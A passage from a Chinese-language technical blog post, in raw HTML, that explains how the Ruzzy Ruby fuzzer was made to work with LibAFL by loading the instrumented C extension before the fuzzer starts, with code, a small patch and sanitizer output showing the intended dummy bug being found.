style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SanitizerCoverage 在模糊测试过程中追踪代码覆盖率信息,以提升模糊测试的效率。诸如 &#34;如果发现新的代码覆盖,就继续变异相关输入,以更深入地探索这些代码路径&#34; 这样简单的启发式,正是模糊测试中强有力的基本手段。其背后的理念是:更高的代码覆盖率意味着更多的崩溃和漏洞 ( 这种说法有些过度简化,不过意思到了 ) 。因此,一个模糊测试引擎需要一种机制来初始化并追踪覆盖率信息。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SanitizerCoverage 提供了多种追踪覆盖率的方式,所有这些方式都需要一种在模糊测试开始时初始化状态的机制。比如,官方文档里就介绍了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pc-guard</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">8bit-counters</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bool-flag</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pc-table</span></code><span leaf="">等追踪机制,每种机制都有对应的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">init</span></code><span leaf="">函数。这些 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">init</span></code><span leaf="">函数最终会被下沉,并以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.init_array</span></code><span leaf="">条目的形式出现在 ELF 文件中 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.init_array</span></code><span leaf="">又一次登场了 ) 。这就意味着,归根结底,覆盖率初始化逻辑是在 DSO 在运行时被加载的时候才被调用的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">回到眼下的错误:为什么 LibAFL 会报 &#34;No maps available; cannot fuzz!&#34;,而 LLVM 的 libFuzzer 却能正常启动?关键差别在于:libFuzzer 允许在运行时按需 ( 懒加载 ) 接入新的覆盖率计数器数组,启动时即使没有也不会抱怨;而 LibAFL 则要求在模糊测试器启动时这些数组已经定义好了。对比一下下面两组事件序列:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">LibAFL </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">LLVMFuzzerRunDriver</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fuzz::fuzz</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fuzz_with!</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">检查覆盖率计数器是否存在</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">libFuzzer </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">LLVMFuzzerRunDriver</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FuzzerDriver</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">最终调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Fuzzer::Loop</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">不检查覆盖率计数器是否存在</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">所以,覆盖率的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">init</span></code><span leaf="">函数会在 DSO 加载时被调用,之后模糊测试引擎是否会检查它们是否存在,要取决于具体实现。要彻底理解这个错误的原因,我们必须回过头来,更细致地了解 Ruzzy 是如何运行它的 &#34;dummy&#34; C 扩展的。Ruzzy 的 Docker 镜像默认通过 entrypoint 来运行 &#34;dummy&#34; 代码:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">#!/bin/bash</span></span><span leaf=""><br/></span><span leaf="">LD_PRELOAD=</span><span style="color: rgb(0, 56, 120);"><span leaf="">$(ruby -e &#39;require &#34;ruzzy&#34;; print Ruzzy::ASAN_PATH&#39;)</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">\</span><span leaf=""><br/></span></span><span leaf="">    ruby -e </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;require &#34;ruzzy&#34;; Ruzzy.dummy&#39;</span></span><span leaf=""> -- </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$@</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 8: Docker 镜像入口脚本 ( entrypoint.sh )</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Ruzzy.dummy</span></code><span leaf="">对应的代码如下:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">def</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">fuzz</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">test_one_input</span></span><span leaf="">, </span><span style="color: rgb(36, 41, 46);"><span leaf="">args</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">DEFAULT_ARGS</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  c_fuzz(test_one_input, args)  </span><span style="color: rgb(106, 115, 125);"><span leaf=""># STEP 3: Call Ruzzy.c_fuzz (in C extension)</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">end</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">def</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">dummy_test_one_input</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">data</span></span><span leaf="">)  </span><span style="color: rgb(106, 115, 125);"><span leaf=""># STEP 4: Eventually call Ruzzy.dummy_test_one_input</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># This &#39;require&#39; depends on LD_PRELOAD, so it&#39;s placed inside the function</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># scope. This allows us to access EXT_PATH for LD_PRELOAD and not have a</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># circular dependency.</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">require</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;dummy/dummy&#39;</span></span><span leaf=""><br/></span><span leaf="">  c_dummy_test_one_input(data)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">end</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">def</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">dummy</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># STEP 1: Call Ruzzy.dummy</span><span leaf=""><br/></span></span><span leaf="">  fuzz(</span><span style="color: rgb(0, 92, 197);"><span leaf="">-&gt;</span></span><span leaf="">(data) { dummy_test_one_input(data) })  </span><span style="color: rgb(106, 115, 125);"><span leaf=""># STEP 2: Call Ruzzy.fuzz</span><span leaf=""><br/></span></span><span style="color: rgb(215, 58, 73);"><span leaf="">end</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 9: Ruzzy.dummy 的调用链 ( lib/ruzzy.rb )</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你正想找出 bug,那么 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dummy_test_one_input</span></code><span leaf="">的函数体也许能给一点提示。问题在于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">require &#39;dummy/dummy&#39;</span></code><span leaf="">调用得太晚了。这条 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">require</span></code><span leaf="">语句实际上是在加载已编译好的 Ruby C 扩展共享对象。还记得我们前面讨论的共享对象加载流程吗?这个共享对象包含一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.init_array</span></code><span leaf="">函数,负责初始化覆盖率计数器的状态。libFuzzer 对覆盖率计数器状态采取懒加载方式,所以对事件顺序并不敏感;而 LibAFL 则要求在它开始模糊测试之前,这些状态就必须已经初始化好。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Ruzzy.dummy</span></code><span leaf="">调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fuzz</span></code><span leaf="">时传入了一个会调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dummy_test_one_input</span></code><span leaf="">的 lambda。但由于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dummy_test_one_input</span></code><span leaf="">是包在 lambda 里传过去的,只有在模糊测试器启动后才会被调用,所以 LibAFL 在调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">c_fuzz</span></code><span leaf="">时就报错了 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">c_fuzz</span></code><span leaf="">内部会调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">LLVMFuzzerRunDriver</span></code><span leaf="">) 。这与最初 Ruby 错误回溯指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">c_fuzz</span></code><span leaf="">的现象正好吻合。于是我们最终给出的补丁非常简单:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">diff --git a/lib/ruzzy.rb b/lib/ruzzy.rb</span><span leaf=""><br/></span><span leaf="">index d5e9ae61..be5f8339 100644</span><span leaf=""><br/></span><span leaf="">--- a/lib/ruzzy.rb</span><span leaf=""><br/></span><span leaf="">+++ b/lib/ruzzy.rb</span><span leaf=""><br/></span><span leaf="">@@ -25,6 +25,11 @@ module Ruzzy</span><span leaf=""><br/></span><span leaf="">  end</span><span leaf=""><br/></span><span leaf="">  def dummy</span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+    # Load the instrumented shared object before calling fuzz so its coverage</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+    # maps are registered before LLVMFuzzerRunDriver starts. Some fuzzer</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+    # runtimes (e.g. LibAFL) require coverage maps to exist upfront.</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+    require &#39;dummy/dummy&#39;</span></span><span style="color: rgb(34, 134, 58);background-color: rgb(240, 255, 244);"><span leaf="">+</span><span leaf=""><br/></span></span><span leaf="">    fuzz(-&gt;(data) { dummy_test_one_input(data) })</span><span leaf=""><br/></span><span leaf="">  end</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 10: Ruzzy.dummy 的初始化补丁</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">加上 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld</span></code><span leaf="">与初始化两处补丁后,LibAFL 终于能跑起来了 (!) :</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 56, 120);"><span leaf="">$ docker run --rm ruzzy-libafl -runs=100000</span></span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">...</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">(CLIENT) corpus</span></span><span leaf="">: </span><span style="color: rgb(34, 134, 58);"><span leaf="">3, objectives</span></span><span leaf="">: </span><span style="color: rgb(34, 134, 58);"><span leaf="">0, executions</span></span><span leaf="">: </span><span style="color: rgb(34, 134, 58);"><span leaf="">7593, exec/sec</span></span><span leaf="">: </span><span style="color: rgb(0, 56, 120);"><span leaf="">0.000,</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">size_edges</span></span><span leaf="">: </span><span style="color: rgb(34, 134, 58);"><span leaf="">12/21 (57%), edges_stability</span></span><span leaf="">: </span><span style="color: rgb(34, 134, 58);"><span leaf="">11/11 (100%), edges</span></span><span leaf="">: </span><span style="color: rgb(0, 56, 120);"><span leaf="">12/21 (57%)</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">=================================================================</span></span><span leaf=""><br/></span><span style="color: rgb(34, 134, 58);"><span leaf="">==9==ERROR</span></span><span leaf="">: </span><span style="color: rgb(34, 134, 58);"><span leaf="">AddressSanitizer</span></span><span leaf="">: </span><span style="color: rgb(0, 56, 120);"><span leaf="">heap-use-after-free on address 0xfcbfab6655c0 at pc 0xffffab9c1888 bp 0xffffee4ce430 sp 0xffffee4ce428</span></span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">READ of size 1 at 0xfcbfab6655c0 thread T0</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""><a class="wx_topic_link" topic-id="mopfujy2-g46s4p" style="color: #576B95 !important;" data-topic="1" data-recommend="">#0</a> 0xffffab9c1884 in _c_dummy_test_one_input /usr/local/bundle/gems/ ruzzy-0.7.0/ext/dummy/dummy.c:18:24</span><span leaf=""><br/></span></span><span style="color: rgb(111, 66, 193);"><span leaf="">...</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 11: Ruzzy 使用 LibAFL 进行模糊测试</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这段 AddressSanitizer 输出表明 LibAFL 启动顺利,并迅速发现了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dummy.c</span></code><span leaf="">中故意埋下的 bug。dummy C 扩展中的堆 use-after-free 问题确认了整条流水线都在正常工作:插桩、覆盖率追踪、调用追踪和崩溃检测全都按预期生效。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上手 Ruzzy + LibAFL</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们最近发布了 Ruzzy 的 0.8.0 版本,其中包含了 LibAFL 支持。欢迎在你的下一个 Ruby 